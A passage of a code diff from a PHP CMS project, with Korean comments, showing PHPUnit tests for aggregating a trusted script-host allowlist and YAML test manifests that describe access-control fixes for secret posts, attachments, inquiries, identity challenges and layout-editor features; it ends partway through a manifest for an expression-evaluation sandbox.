fn (array $hosts) => array_merge($hosts, [' CDN.Example.com ', 'cdn.example.com']),
priority: 1
);
$hosts = TrustedScriptHosts::hosts();
$matches = array_filter($hosts, fn ($h) => $h === 'cdn.example.com');
$this->assertCount(1, $matches, '정규화(trim/lowercase) 후 중복이 제거되어야 합니다');
}
// ── hosts(): 활성 템플릿 manifest 집계 ─────────────────
//
// 템플릿은 모듈/플러그인과 달리 PHP 추상 클래스가 없고 manifest 배열로 다뤄지므로,
// `getActiveTemplate()` 이 돌려주는 template.json 배열에서 직접 읽는다.
// 이 축이 빠지면 템플릿이 선언한 호스트를 정적 검사는 통과시키는데 런타임·저장측이
// 차단해, 문서가 지원한다고 적은 기능이 화면에서 조용히 동작하지 않는다.
/**
* 활성 관리자 템플릿이 선언한 호스트가 집계된다.
*
* @effects every_extension_type_declaration_is_collected
*/
public function test_hosts_includes_active_admin_template_declared_hosts(): void
{
$this->fakeActiveTemplates(
admin: ['identifier' => 'vendor-admin_x', 'trusted_script_hosts' => ['cdn.admin-template.example']],
user: null
);
$this->assertContains('cdn.admin-template.example', TrustedScriptHosts::hosts());
}
/**
* 활성 사용자 템플릿이 선언한 호스트가 집계된다.
*
* @effects every_extension_type_declaration_is_collected
*/
public function test_hosts_includes_active_user_template_declared_hosts(): void
{
$this->fakeActiveTemplates(
admin: null,
user: ['identifier' => 'vendor-user_x', 'trusted_script_hosts' => ['cdn.user-template.example']]
);
$this->assertContains('cdn.user-template.example', TrustedScriptHosts::hosts());
}
/**
* 템플릿 manifest 의 비문자열/비배열 값은 무시된다 (손상된 manifest 방어).
*
* @effects malformed_or_absent_declaration_is_ignored
*/
public function test_hosts_ignores_malformed_template_declarations(): void
{
$this->fakeActiveTemplates(
admin: ['identifier' => 'vendor-admin_x', 'trusted_script_hosts' => 'not-an-array'],
user: ['identifier' => 'vendor-user_x', 'trusted_script_hosts' => ['cdn.ok.example', 123, null]]
);
$hosts = TrustedScriptHosts::hosts();
$this->assertContains('cdn.ok.example', $hosts);
$this->assertNotContains('not-an-array', $hosts);
}
/**
* 활성 템플릿이 없어도 집계가 실패하지 않는다.
*
* @effects malformed_or_absent_declaration_is_ignored
*/
public function test_hosts_survives_absent_active_templates(): void
{
$this->fakeActiveTemplates(admin: null, user: null);
$this->assertIsArray(TrustedScriptHosts::hosts());
}
/**
* manifest 를 주입한 확장(모듈/플러그인) 인스턴스를 만듭니다.
*
* `loadManifest()` 만 대체하므로 `getTrustedScriptHosts()` 의 실제 파싱·필터 로직이
* 그대로 실행됩니다.
*
* @param class-string $abstract AbstractModule::class 또는 AbstractPlugin::class
* @param array<string, mixed> $manifest 주입할 manifest 배열
* @return mixed 부분 목 확장 인스턴스
*/
private function fakeExtension(string $abstract, array $manifest): mixed
{
$extension = \Mockery::mock($abstract)->makePartial();
$extension->shouldAllowMockingProtectedMethods();
$extension->shouldReceive('loadManifest')->andReturn($manifest);
return $extension;
}
/**
* ModuleManager/PluginManager 를 대체해 활성 확장 목록을 주입합니다.
*
* @param array<int, mixed> $modules 활성 모듈 인스턴스 목록
* @param array<int, mixed> $plugins 활성 플러그인 인스턴스 목록
*/
private function fakeActiveExtensions(array $modules, array $plugins): void
{
$moduleManager = \Mockery::mock(ModuleManager::class);
$moduleManager->shouldReceive('getActiveModules')->andReturn($modules);
$this->instance(ModuleManager::class, $moduleManager);
$pluginManager = \Mockery::mock(PluginManager::class);
$pluginManager->shouldReceive('getActivePlugins')->andReturn($plugins);
$this->instance(PluginManager::class, $pluginManager);
}
/**
* TemplateManager 를 대체해 활성 템플릿 manifest 를 주입합니다.
*
* @param array<string, mixed>|null $admin 활성 관리자 템플릿 manifest
* @param array<string, mixed>|null $user 활성 사용자 템플릿 manifest
*/
private function fakeActiveTemplates(?array $admin, ?array $user): void
{
$manager = \Mockery::mock(TemplateManager::class);
$manager->shouldReceive('getActiveTemplate')->with('admin')->andReturn($admin);
$manager->shouldReceive('getActiveTemplate')->with('user')->andReturn($user);
$this->instance(TemplateManager::class, $manager);
}
}
@@ -0,0 +1,43 @@
feature: 사용자 활동/공개 프로필 목록의 비밀 본문 마스킹 (KVE-2026-1914 형제)
description: |
공개 프로필(`GET users/{uuid}/posts`)과 마이페이지 활동(`GET me/board-activities`)은 본문
일부(`content_plain`)를 함께 싣는데 Resource 를 거치지 않고 저장소 배열을 그대로 응답에
싣는다. 공개 프로필 라우트는 `optional.sanctum` 이라 **미인증**으로 도달하므로, 타인의
비밀글·블라인드 글 본문이 그대로 나갔다.
결함의 형태는 **사문화된 옵트인 플래그**였다 — 저장소가 `is_public` 을 읽어 필터를 걸도록
돼 있었지만 그 키를 설정하는 코드가 어디에도 없어 한 번도 적용되지 않았다. 판정을 열람자
신원(`viewer_id`) 기반 fail-closed 로 뒤집었다.
두 활동 유형이 **서로 다른 코드 경로**를 탄다:
- activity_type=authored — 내가 쓴 글. 열람자 ≠ 대상 사용자면 마스킹(`$isOwnView`).
- activity_type=commented — 내가 댓글 단 글. 이 목록에는 **타인이 쓴 비밀글**이 섞이므로
글 단위로 판정한다(`$post->user_id !== $viewerId`). authored 축만 검증하면 이 분기가
무보호로 남는다.
가리는 것은 **본문뿐**이다. 행과 제목은 게시판 목록에서 이미 같은 수준으로 노출되며
(`PostResource` 의 목록 규칙: 제목은 노출, 본문만 차단) 프로필 UI 도 비밀글/블라인드
배지를 그린다 — 행을 지우면 결함 차단에 필요한 범위를 넘어 기능이 깎인다. 착수 단계에서
행 제거로 구현했다가 철회한 이력이 있어, 행·제목 유지를 효과로 고정한다.
axes:
viewer: [guest, other_user, owner]
activity_type: [authored, commented]
exclusions:
- { viewer: guest, activity_type: commented, reason: "마이페이지 활동 라우트는 auth:sanctum — 게스트가 도달할 수 없다. 공개 프로필 라우트는 authored 만 서빙한다" }
effects:
- public_profile_masks_secret_post_content_for_others
- public_profile_masks_blinded_post_content_for_others
- public_profile_shows_own_secret_content_to_owner
- commented_activity_masks_others_secret_content
# 과차단 회귀 축 — fail-closed 로 뒤집으면서 본인 시야까지 좁히면 기능 축소다.
- commented_activity_shows_own_secret_content_to_owner
# 철회한 과잉 수정(행 제거)의 재도입 차단 — 본문 비노출만 단언하면 행을 통째로 지워도 green 이다.
- activity_rows_and_titles_remain_visible
test_files:
- modules/_bundled/sirsoft-board/tests/Feature/User/UserActivitySecretExposureTest.php
@@ -0,0 +1,42 @@
feature: 비밀글 하위 리소스(첨부·댓글) 게이팅 (KVE-2026-1914 A-3/A-4)
description: |
부모 게시글이 비밀글이면, 본문뿐 아니라 하위 리소스(첨부 다운로드/미리보기, 댓글 목록)도
열람 권한(작성자/manager/posts.read-secret) 없는 요청에는 원문을 노출하지 않는다.
게이트 SSoT 는 SecretContentGate 이며, 첨부 서빙(preview/download)·댓글 목록·본문이 모두
같은 판정을 재적용한다. 미리보기 라우트는 permission 미들웨어 없이(공개 썸네일 정책)
컨트롤러/서비스의 비밀 게이트만이 게스트를 막는다.
이중 방어(A-4b): 댓글 목록은 1차로 CommentController::index 가 비뷰어에게 빈 컬렉션을
반환하고, 2차로 CommentResource 가 컨트롤러가 넘긴 부모 post 로 댓글당 원문을 재확인한다
(요청 속성 재사용 — 댓글당 board_posts lazy-load 없이).
axes:
viewer: [guest, regular, owner, manager]
effects:
- regular_user_cannot_preview_secret_post_attachment
- regular_user_cannot_download_secret_post_attachment
- guest_cannot_preview_secret_post_attachment
- guest_cannot_download_secret_post_attachment
- owner_can_access_secret_post_attachment
- manager_can_access_secret_post_attachment
- normal_post_attachment_still_public
- guest_can_preview_normal_post_attachment
- regular_user_gets_empty_comment_list_on_secret_post
- guest_blocked_from_secret_post_comments
- owner_sees_secret_post_comments
- manager_sees_secret_post_comments
- normal_post_comments_still_visible
- second_defense_masks_secret_comment_content
- owner_second_defense_not_masked
- comment_list_no_per_comment_post_query
test_files:
- modules/_bundled/sirsoft-board/tests/Feature/User/SecretPostAttachmentAccessTest.php
- modules/_bundled/sirsoft-board/tests/Feature/User/SecretPostCommentAccessTest.php
rules_layer_coverage:
- rule: list-resource-resource-relation-requery-n-plus-one
coverage: CommentResource 는 컨트롤러가 넘긴 부모 post 를 재사용 — 댓글당 board_posts 조회 0건 (comment_list_no_per_comment_post_query 가 고정)
@@ -0,0 +1,57 @@
feature: 상품 문의 목록 비밀글 마스킹 (KVE-2026-1914 A-1/A-2)
description: |
상품 문의 목록은 게시판 모듈의 `get_by_ids` 훅으로 게시글 본문을 받아 직렬화한다. 비밀
문의의 원문(content/title/reply/attachments)이 열람 권한 없는 요청에 새지 않아야 한다.
방어는 두 계층이며 **각 계층이 독립적으로 성립**해야 한다:
- layer=hook — 게시판 리스너(EcommerceInquiryHookListener::getByIds)가 SecretContentGate
판정으로 원문을 마스킹하고, 권위 플래그 `can_view_secret` 를 payload 에 실어 보낸다.
- layer=service — 이커머스 서비스(ProductInquiryService::getProductInquiries)가 그 권위
플래그만 신뢰해 재마스킹한다. 자기 권한을 재계산하지 않으므로 게이트 강도가 훅과 갈리지
않고, 플래그가 없으면 fail-closed(마스킹)다 — 훅 미치환·타 확장 치환 회귀를 덮는다.
클라이언트가 보내는 `exclude_secret` 는 보안 판정에 쓰이지 않는다(단순 표시 필터). 노출
여부는 서버가 요청자 신원으로만 결정한다.
같은 훅 경계에 입력 경계 규율이 하나 더 걸린다(sub_flow `listener_ip_boundary`): 리스너는
요청 객체에 손을 뻗지 않고(`request()->ip()` 직접 참조 금지) 요청 경계인 서비스가 payload
로 실어 준 `ip_address` 만 기록한다. viewer 축과 교차하지 않는 별개 관심사라 축이 아니라
sub_flow 로 둔다.
axes:
layer: [hook, service]
viewer: [non_viewer, owner]
effects:
- hook_masks_secret_post_for_non_viewer
- hook_exposes_secret_post_to_owner
- hook_emits_authoritative_can_view_secret_flag
- service_remasks_when_hook_omits_masking
- service_fails_closed_when_flag_absent
- service_remasks_title_with_shared_placeholder
- service_exposes_original_when_flag_true
sub_flows:
- id: listener_ip_boundary
description: |
리스너 입력 경계 — 생성·답변 두 경로 모두 서비스가 payload 로 주입한 ip_address 를
그대로 기록하고, payload 에 없으면 요청 객체로 되돌아가지 않고 폴백(0.0.0.0)한다.
회귀 가드는 request IP 를 비-0.0.0.0 으로 세팅한 상태에서 폴백을 확인한다 —
0.0.0.0 기본 request 로는 request()->ip() 재도입이 silent green 이 된다.
effects:
- listener_uses_service_provided_ip_not_request
- listener_does_not_reach_into_request_for_ip
# 주입 측 — Listener 경계는 서비스가 IP 를 실어 보낼 때만 성립한다. 수용 측만
# 고정하면 주입 코드를 지워도 스위트가 green 이고 문의 IP 가 조용히 0.0.0.0 이 된다.
# 생성·답변은 서로 다른 서비스 메서드(createInquiry / createReply)라 주입 코드가 각각
# 있다 — 한 효과로 묶으면 생성 경로 테스트 하나가 답변 경로까지 덮는 것처럼 집계된다.
- service_injects_client_ip_into_hook_payload
- service_injects_client_ip_into_reply_hook_payload
test_files:
- modules/_bundled/sirsoft-board/tests/Unit/Listeners/EcommerceInquiryHookListenerTest.php
- modules/_bundled/sirsoft-ecommerce/tests/Feature/Http/Controllers/Public/PublicProductInquiryControllerTest.php
- modules/_bundled/sirsoft-ecommerce/tests/Feature/Http/Controllers/User/UserProductInquiryControllerTest.php
@@ -0,0 +1,42 @@
feature: hash 기반 파일 서빙의 부모 상태 게이트 (KVE-2026-1914 A-6 S-1/S-2)
description: |
hash·ID 만으로 도달하는 파일 서빙 라우트는 그 자체로는 인가 정보를 갖지 않는다. 따라서
**부모 엔티티의 공개 상태**를 서빙 시점에 재확인해야 하며, 같은 자원의 preview 와 download 가
같은 강도의 게이트를 공유해야 한다 — 한쪽만 막으면 다른 쪽이 조용한 우회로가 된다.
- resource=page_attachment (S-1): 부모 페이지가 미발행이면 첨부 preview 도 차단한다. 종전에는
download 에만 `pages.read` 게이트가 있고 preview 는 무게이트였다. 차단 응답은 404(존재 은닉).
- resource=review_image (S-2): 부모 리뷰가 VISIBLE 이 아니면(관리자 숨김·승인 대기) 이미지
서빙을 차단한다. 게이트는 컨트롤러가 아니라 **서비스 계층**(ProductReviewImageService)에 두어
그 서비스를 쓰는 모든 호출부가 자동으로 커버되게 한다. 서비스가 null 을 반환하고 컨트롤러가
404 로 응답한다.
발행/공개 상태인 자원은 종전대로 무인가 서빙된다(과잉 차단 회귀 방지 축).
권한 보유자(pages.read 관리자)는 미발행 첨부도 미리볼 수 있어야 한다 — 초안 편집 화면의
썸네일이 그 경로다. 이는 parent_state=restricted 조합 안의 허용 분기이며 별도 축이 아니다
(review_image 에는 대응하는 권한 분기가 없어, viewer 를 축으로 세우면 실재하지 않는 조합이
cross product 에 생긴다).
axes:
resource: [page_attachment, review_image]
parent_state: [public, restricted]
effects:
- unpublished_page_attachment_preview_blocked_for_guest
- unpublished_page_attachment_preview_blocked_without_permission
- unpublished_page_attachment_preview_allowed_with_pages_read
- unpublished_page_attachment_download_blocked_for_guest
# download 축 허용 케이스 — preview 축(4건) 대비 download 축이 차단 1건뿐이라
# 게이트가 download 만 과차단으로 회귀해도 green 이었다.
- unpublished_page_attachment_download_allowed_with_pages_read
- published_page_attachment_download_still_public
- published_page_attachment_preview_still_public
- hidden_review_image_download_blocked
- visible_review_image_download_still_served
test_files:
- modules/_bundled/sirsoft-page/tests/Feature/User/PublicPageAttachmentAccessTest.php
- modules/_bundled/sirsoft-ecommerce/tests/Feature/Http/Controllers/User/ReviewImageControllerTest.php
+52 -9
View File
@@ -14,19 +14,59 @@ description: |
- 모달 취소 버튼 sequence 가 [apiCall(cancel), resolveIdentityChallenge, closeModal] 호출
- cancel apiCall 은 challenge_id 가용성 if 가드 + onError suppress
# axis 의미:
# 가드 판정(통과/403)을 가르는 축은 셋뿐이다 — 누가(actor_role), 어느 엔드포인트(endpoint),
# 그 challenge 가 누구 것인가(challenge_owner). challenge_status 는 가드를 통과한 *뒤*의
# 결과(404/422)를 가르고, modal_trigger_state 는 프론트 모달 시퀀스의 축이라
# 가드 판정과 곱해지지 않는다 → sub_flows 로 분리한다.
axes:
actor_role: [guest, user_with_perm, user_without_perm, admin]
endpoint: [request, verify, cancel]
challenge_owner: [self, other, none]
challenge_status: [sent, verified, expired, cancelled, missing]
modal_trigger_state: [challenge_id_present, challenge_id_absent]
exclusions:
- { challenge_owner: none, endpoint: verify, reason: "verify 는 challenge 모델 바인딩 필요 — none 시 404 (가드 통과 후 모델 미해석)" }
- { challenge_owner: none, endpoint: cancel, reason: "cancel 도 challenge 모델 바인딩 필요" }
- { actor_role: guest, challenge_owner: self, reason: "guest 는 user_id 미보유 — self 매칭 무의미" }
- { actor_role: guest, challenge_owner: other, reason: "guest 는 scope 검사 스킵으로 owner 무관" }
- { modal_trigger_state: challenge_id_absent, endpoint: cancel, reason: "모달 if 가드로 호출 자체 스킵 — endpoint 액션 미발생" }
- { actor_role: guest, challenge_owner: self, reason: "guest 는 user_id 미보유 — self 매칭이 성립하지 않는다 (guest 가 다루는 challenge 는 항상 owner=other 로 표현된다)" }
- { endpoint: request, challenge_owner: self, reason: "발급은 대상 challenge 가 아직 없다 — owner 축이 성립하지 않음" }
- { endpoint: request, challenge_owner: other, reason: "동일 — 발급 시점에는 소유자 판정 대상이 없다" }
sub_flows:
- id: challenge_status_outcomes
description: |
가드를 통과한 뒤 challenge 상태(sent·verified·expired·cancelled·missing)가 가르는 결과.
가드 판정과 곱해지지 않는다 — 권한이 없으면 상태와 무관하게 403 이고,
권한이 있으면 상태가 404/422 를 가른다.
effects:
- missing_challenge_returns_404_after_guard_pass
- permission_middleware_resolves_challenge_via_route_model_binding
- id: role_permission_seeding
description: |
역할별 IDV 권한 시딩과 scope 메타. 요청 시점 판정이 아니라 그 판정이 읽는 데이터의 준비 단계다.
effects:
- role_permission_seeder_syncs_idv_permissions_with_owner_metadata
- role_permission_seeder_assigns_self_scope_to_user_role_idv_perms
- role_permission_seeder_grants_idv_perms_to_guest_without_scope
- guest_role_idv_permission_check_via_guest_role_cache
- id: modal_cancel_sequence
description: |
프론트 모달 취소 버튼의 액션 시퀀스. 축: modal_trigger_state(challenge_id_present·challenge_id_absent).
서버 가드와 독립이며, challenge_id 부재 시에는 호출 자체가 스킵되어 엔드포인트에 도달하지 않는다.
effects:
- modal_cancel_button_calls_server_cancel_api_first
- modal_cancel_apiCall_uses_global_identityChallenge_challenge_id
- modal_cancel_apiCall_skipped_when_challenge_id_absent
- modal_cancel_apiCall_failure_does_not_block_modal_close
- modal_cancel_sequence_order_is_apiCall_resolve_close
- admin_basic_modal_cancel_flow_matches_basic_template
- id: route_contract
description: |
라우트 계약 — 미들웨어 구성과 확장 지점. 특정 행위자·엔드포인트 조합의 산물이 아니다.
effects:
- cancel_endpoint_via_permission_middleware_does_not_require_legacy_auth_sanctum
- request_challenge_route_validation_rules_extensible_via_hook_filter
- verify_challenge_route_validation_rules_extensible_via_hook_filter
- cancel_form_request_authorize_returns_true_letting_route_middleware_decide
effects:
- guest_can_request_challenge
@@ -61,11 +101,14 @@ effects:
test_files:
- tests/Feature/Api/Identity/PermissionGuardTest.php
- tests/Feature/Api/Identity/IdentityPermissionContractTest.php
- tests/Feature/Api/Identity/IdentityChallengeFlowTest.php
- tests/Feature/Api/Identity/IdentityChallengeShowTest.php
- tests/Feature/Api/Identity/IdentityCallbackTest.php
- tests/Feature/Api/Auth/RegisterPolicyDrivenSignupTest.php
- tests/Feature/Api/Auth/ForgotPasswordViaIdentityTest.php
- tests/Feature/Identity/MailIdentityProviderDispatchTest.php
# 본 매니페스트의 test_files 에서 제외한 인접 테스트와 그 사유:
# - IdentityCallbackTest / RegisterPolicyDrivenSignupTest / ForgotPasswordViaIdentityTest /
# MailIdentityProviderDispatchTest 는 IDV "흐름"(콜백·가입 정책·비밀번호 재설정·메일 발송)을
# 검증하며, 본 매니페스트가 선언한 권한 가드 effect 를 단언하지 않는다.
# 인접하다는 이유로 test_files 에 두면 "이 파일이 가드를 떠받친다" 는 거짓 근거가 된다.
- templates/_bundled/sirsoft-basic/__tests__/layouts/identity-challenge-modal.test.tsx
- templates/_bundled/sirsoft-admin_basic/__tests__/layouts/admin-identity-challenge-modal.test.tsx
@@ -2,27 +2,69 @@ feature: 레이아웃 편집기 액션 편집 · flex 편집 · 표시 조건
phase: 5
session: S7
issue: 383
# axis 의미:
# 본 매니페스트가 묶는 세 가지(액션 편집 / flex 편집 / 표시 조건)는 편집기 속성 패널의
# 서로 다른 탭이며 상호작용하지 않는다. flex 방향이 액션 레시피 조립을 바꾸지 않고,
# 조건 조합자가 flex 정렬을 바꾸지 않는다. 세 도메인의 축을 곱하면 134만 조합이 되지만
# 그중 실재하는 판정은 도메인 내부의 것뿐이다.
#
# axes 로 남긴 것: 액션 레시피 × 후속 체인.
# 레시피 종류에 따라 후속 체인이 성립하는지가 갈리므로(openModal 은 체인 없음)
# 이 둘만 실제로 교차한다.
axes:
event_kind: [onClick, onHover, onComponentEvent, lifecycle_onMount, lifecycle_onUnmount]
action_recipe: [goToPage, showMessage, changeState, refreshData, callServerThen, openModal_lazy_id, custom_extension_recipe]
followup_chain: [none, single_success, single_error, success_and_error_both, nested_multi_step]
flex_role: [container, item, auto_div_detected_as_flex, auto_div_detected_as_block]
flex_direction: [row, column]
flex_wrap: [no_wrap, wrap]
flex_justify: [start, center, end, between, around]
flex_align: [start, center, end, stretch]
item_grow: [fixed, fill, ratio]
condition_category: [A_preset, B_datasource, C_array, D_field, E_state, F_route, G_form, H_ability]
condition_combinator: [single, and, or, mixed_and_or]
condition_param_kind: [no_param, ds_id, state_key, field_name, value_literal, ability_key]
click_in_edit_mode_should_be_intercepted: [yes_navigate, yes_a_href, no_static]
followup_chain: [none, success_and_error_both]
exclusions:
- { action_recipe: openModal_lazy_id, followup_chain: nested_multi_step,
- { action_recipe: openModal_lazy_id, followup_chain: success_and_error_both,
reason: "openModal 은 onSuccess/onError 체인 의미 없음 — 즉시 모달 오픈" }
- { flex_role: item, flex_direction: row,
reason: "item 편집은 부모 컨테이너 컨텍스트에서만 — 방향 축 무관" }
- { condition_category: A_preset, condition_param_kind: ds_id,
reason: "A 프리셋은 파라미터 없음" }
- { action_recipe: goToPage, followup_chain: success_and_error_both,
reason: "페이지 이동은 응답이 없어 후속 체인이 성립하지 않음" }
- { action_recipe: showMessage, followup_chain: success_and_error_both,
reason: "토스트 표시는 응답이 없어 후속 체인이 성립하지 않음" }
- { action_recipe: changeState, followup_chain: success_and_error_both,
reason: "상태 변경은 동기 — 후속 체인 없음" }
- { action_recipe: refreshData, followup_chain: success_and_error_both,
reason: "refreshData 레시피의 build 에 onSuccess/onError 자리가 없다(refetchDataSource + dataSourceId 뿐) — 후속 체인을 갖는 레시피는 callServerThen 하나다" }
sub_flows:
- id: action_event_slot
description: |
액션이 걸리는 이벤트 슬롯. 레시피 조립 결과와 곱해지지 않는다 — 같은 레시피가
어느 슬롯에 걸리든 산출 JSON 은 동일하고, 슬롯은 스펙 선언 여부만 가른다.
축: event_kind(onClick·onHover·onComponentEvent·lifecycle_onMount·lifecycle_onUnmount)
effects:
- spec_undeclared_event_hides_action_slot
- nested_action_list_widget_assembles_recursive_actions
- action_recipe_reverse_matches_existing_action_to_recipe
- action_recipe_does_not_expose_handler_jargon_to_user
- id: flex_editing
description: |
flex 컨테이너/아이템 편집. 액션·조건과 무관한 스타일 축이다.
축: flex_role(container·item·auto_div_detected_as_flex·auto_div_detected_as_block) ×
flex_direction(row·column) × flex_wrap × flex_justify × flex_align × item_grow
effects:
- flex_container_classToken_emits_per_spec_apply_type
- flex_auto_detection_uses_computed_style_not_classname
- flex_auto_detection_works_across_tailwind_bootstrap_native_css
- flex_item_align_self_emits_correct_recipe
- flex_item_order_property_set
- flex_make_box_button_when_not_rendered_as_flex
- id: display_condition
description: |
표시 조건(if) 빌더. 조건 카테고리 × 조합자 × 파라미터 종류가 이 도메인 안에서 교차한다.
축: condition_category(A~H) × condition_combinator(single·and·or·mixed_and_or) ×
condition_param_kind(no_param·ds_id·state_key·field_name·value_literal·ability_key)
effects:
- condition_recipe_substitutes_params_into_expr_template
- condition_recipe_wraps_entire_combined_expression_in_single_braces
- condition_builder_does_not_emit_nested_interpolation_braces
- condition_recipe_uses_optional_chaining_for_null_safety
- condition_recipe_array_length_uses_length_nullish_zero_fallback
- condition_synthesized_expr_evaluates_via_condition_evaluator
- condition_builder_reverse_matches_single_preset
- condition_builder_preserves_advanced_handwritten_expr
- condition_param_widget_dispatches_via_widget_registry
effects:
- action_recipe_build_emits_correct_handler_name_and_top_level_target
- action_recipe_top_level_onSuccess_onError_keys_not_in_params
@@ -2,23 +2,64 @@ feature: 레이아웃 편집기 chrome 컨트롤 (디바이스 custom width /
phase: 3
session: S5b-pre
issue: 383
# axis 의미:
# 본 매니페스트가 묶는 것은 "편집기 chrome" 이라는 화면 영역이지 하나의 상호작용
# 흐름이 아니다. 디바이스 미리보기 / 툴바 / 코드편집기 진입 / 오버레이 배치 / 팔레트는
# 서로 곱해지지 않는다 (툴바 버튼 상태가 오버레이 배치 판정을 바꾸지 않는다).
# 그래서 상호작용이 실재하는 축만 axes 에 두고, 나머지는 sub_flows 로 분리한다.
#
# axes 로 남긴 것: 미리보기 디바이스 × custom 폭 입력.
# custom 폭은 device=custom 일 때만 반영되고 그 외 디바이스에서는 무시되어야 하므로
# 두 축이 실제로 교차한다 (무시 여부가 조합으로 갈린다).
axes:
preview_device: [desktop, tablet, mobile, custom]
custom_width_input: [below_min_320, in_range, above_max_1920, non_numeric]
toolbar_action: [exit_clean, exit_dirty_confirm, edit_code_navigate, save_in_progress, save_done]
toolbar_button_state: [enabled_hover, disabled_no_hover, focused_after_click]
edited_template_type: [user, admin]
code_editor_entry: [from_wysiwyg_with_route, direct_route_query, file_select_in_editor, extension_select_in_editor]
selected_box_size: [normal_ge_44, small_lt_44_width, small_lt_44_height, scaled_small]
affordance_kind: [info_menu, base_lock, extension_lock, nav_route_in_tree, nav_unreachable, insertion_cross]
palette_entry_type: [basic, composite, layout]
custom_width_input: [below_min_320, in_range, above_max_1920]
exclusions:
- { toolbar_action: edit_code_navigate, toolbar_button_state: disabled_no_hover,
reason: "onEditCode 미주입(disabled) 이면 navigate 자체가 일어나지 않음" }
- { custom_width_input: non_numeric, preview_device: desktop,
reason: "custom width 입력은 preview_device=custom 일 때만 노출" }
- { code_editor_entry: extension_select_in_editor, edited_template_type: user,
reason: "확장 선택은 라우트 없음 → ?route= 를 비움. 템플릿 타입과 무관한 동작" }
- { preview_device: desktop, custom_width_input: below_min_320,
reason: "custom 이 아닌 디바이스는 custom 폭을 무시 — 대표로 in_range 1건만 검증" }
- { preview_device: desktop, custom_width_input: above_max_1920, reason: "동일" }
- { preview_device: tablet, custom_width_input: below_min_320, reason: "동일" }
- { preview_device: tablet, custom_width_input: above_max_1920, reason: "동일" }
- { preview_device: mobile, custom_width_input: below_min_320, reason: "동일" }
- { preview_device: mobile, custom_width_input: above_max_1920, reason: "동일" }
sub_flows:
- id: toolbar_actions
description: |
툴바 버튼(나가기 / 코드편집 / 저장)의 동작과 시각 상태. 미리보기 디바이스와
곱해지지 않는다 — 어느 디바이스에서 보든 툴바 동작은 같다.
축: toolbar_action(exit_clean·edit_code_navigate·save_in_progress·save_done) ×
toolbar_button_state(enabled_hover·disabled_no_hover·focused_after_click) ×
edited_template_type(user·admin — 나가기 목적지 분기)
effects:
- toolbar_exit_navigates_to_template_list_by_type
- toolbar_edit_code_opens_text_layout_editor_in_new_window_with_route
- toolbar_save_shows_spinner_while_pending_then_restores
- toolbar_buttons_hover_transition_when_enabled_not_when_disabled
- toolbar_buttons_no_residual_focus_outline_after_click
- id: code_editor_route_sync
description: |
코드편집기(텍스트 화면)의 `?route=` 쿼리 동기화. 진입 경로별로 쿼리를 싣거나 비운다.
축: code_editor_entry(from_wysiwyg_with_route·direct_route_query·file_select_in_editor·extension_select_in_editor)
effects:
- code_editor_restores_layout_from_route_query
- code_editor_file_select_syncs_route_query
- code_editor_extension_select_clears_route_query
- id: overlay_affordance_placement
description: |
선택 박스 크기에 따른 오버레이 버튼 배치. 툴바·팔레트와 무관한 기하 판정이다.
축: selected_box_size(normal_ge_44·small_lt_44_width·small_lt_44_height·scaled_small) ×
affordance_kind(info_menu·base_lock·extension_lock·nav_route_in_tree·nav_unreachable·insertion_cross)
effects:
- overlay_affordances_inside_when_box_ge_44
- overlay_affordances_outside_when_box_lt_44_no_overlap
- insertion_affordances_cross_layout_when_box_lt_44_no_overlap_no_clip
- id: palette_entry_badge
description: |
팔레트 카드의 React 컴포넌트 태그 배지. 축: palette_entry_type(basic·composite·layout)
effects:
- palette_card_shows_react_component_tag_badge
effects:
- preview_custom_device_uses_clamped_input_width_as_override
- preview_custom_width_clamped_320_to_1920
@@ -2,18 +2,42 @@ feature: 레이아웃 편집기 라우트↔모달/확장 연결 목록 (화면
phase: post
session: route-connected-extensions
issue: 383
# axis 의미:
# 이 기능의 유일한 상호작용 매트릭스는 "무엇을(connection_kind) / 호스트가 맞는가(host_match) /
# 몇 건인가(conn_count)" 셋이다. 그룹 UI 상태와 편집 모드 전환은 이 셋과 곱해지지 않고
# 독립적으로 동작하므로 sub_flows 로 분리한다 (곱하면 640 조합이 되지만 그중 의미 있는
# 판정은 아래 9건뿐이다).
axes:
ext_type: [overlay, extension_point]
connection_kind: [modal, overlay, extension_point]
host_match: [match, no_match]
modal_host_match: [match, no_match]
conn_count: [zero, one, many]
conn_group_state: [collapsed_default, expanded_after_click]
enter_mode_from_child: [modal_child, extension_child]
select_route_from_mode: [from_extension, from_modal, from_base, from_route]
host_highlight: [modal_child_host, extension_child_host]
exclusions:
- { conn_count: zero, conn_group_state: expanded_after_click,
reason: "연결 0건이면 그룹 헤더 자체가 미부착되어 펼칠 대상이 없음" }
- { host_match: no_match, conn_count: one,
reason: "호스트 레이아웃이 불일치하면 부착 건수는 항상 0 — one/many 가 성립하지 않음" }
- { host_match: no_match, conn_count: many,
reason: "동일 — 불일치는 곧 0건" }
- { host_match: match, conn_count: zero,
reason: "호스트가 일치하면 최소 1건이 부착됨 — 0건은 불일치 경로에서만 발생" }
sub_flows:
- id: connected_group_ui
description: |
연결 그룹 헤더의 접힘/펼침. 부착 판정과 곱해지지 않는다 — 부착이 끝난 뒤의
표시 상태이며, 0건이면 헤더 자체가 없어 펼칠 대상이 없다.
effects:
- connected_group_collapsed_by_default
- connected_group_toggles_on_header_click
- id: edit_mode_transition
description: |
연결 자식(모달/확장) 클릭으로 별도 편집 모드에 들어간 뒤의 상태 보존과 복귀.
부착 매트릭스와 독립이며, 진입 경로(모달/확장)와 복귀 시작 모드(extension/modal/base/route)가
각각 자기 축을 가진다.
effects:
- connected_count_stable_when_entering_extension_edit_mode
- modal_child_click_enters_modal_edit_keeping_host_route_highlight
- extension_child_click_enters_extension_edit_keeping_host_route_highlight
- select_route_from_separate_edit_mode_restores_route_mode_and_renders_canvas
effects:
- connected_extensions_attached_statically_by_host_layouts_without_canvas_load
- connected_extension_point_attached_when_host_layout_in_host_layouts
@@ -0,0 +1,52 @@
feature: 레이아웃 표현식 평가 샌드박스 (KVE-2026-1915)
description: |
레이아웃 표현식은 AST 화이트리스트 인터프리터(SafeExpressionEvaluator)로 평가된다.
정상 표현식(삼항·옵셔널체이닝·nullish·화살표함수·스프레드·템플릿리터럴·new Date)은 그대로
평가되고, constructor 체인/Function 생성자를 통한 샌드박스 탈출은 코드를 실행하지 못한다.
단위 테스트가 소스를 잠그지만 사용자가 실행하는 것은 배포 번들이므로, 브라우저에서 배포
번들의 공개 API(`G7Core.evaluateCondition`)를 직접 호출해 (a) 정상 회귀 없음 + (b) 익스플로잇
미실행(전역 canary `window.__g7jsi` 미설정) 양면을 잠근다.
axes:
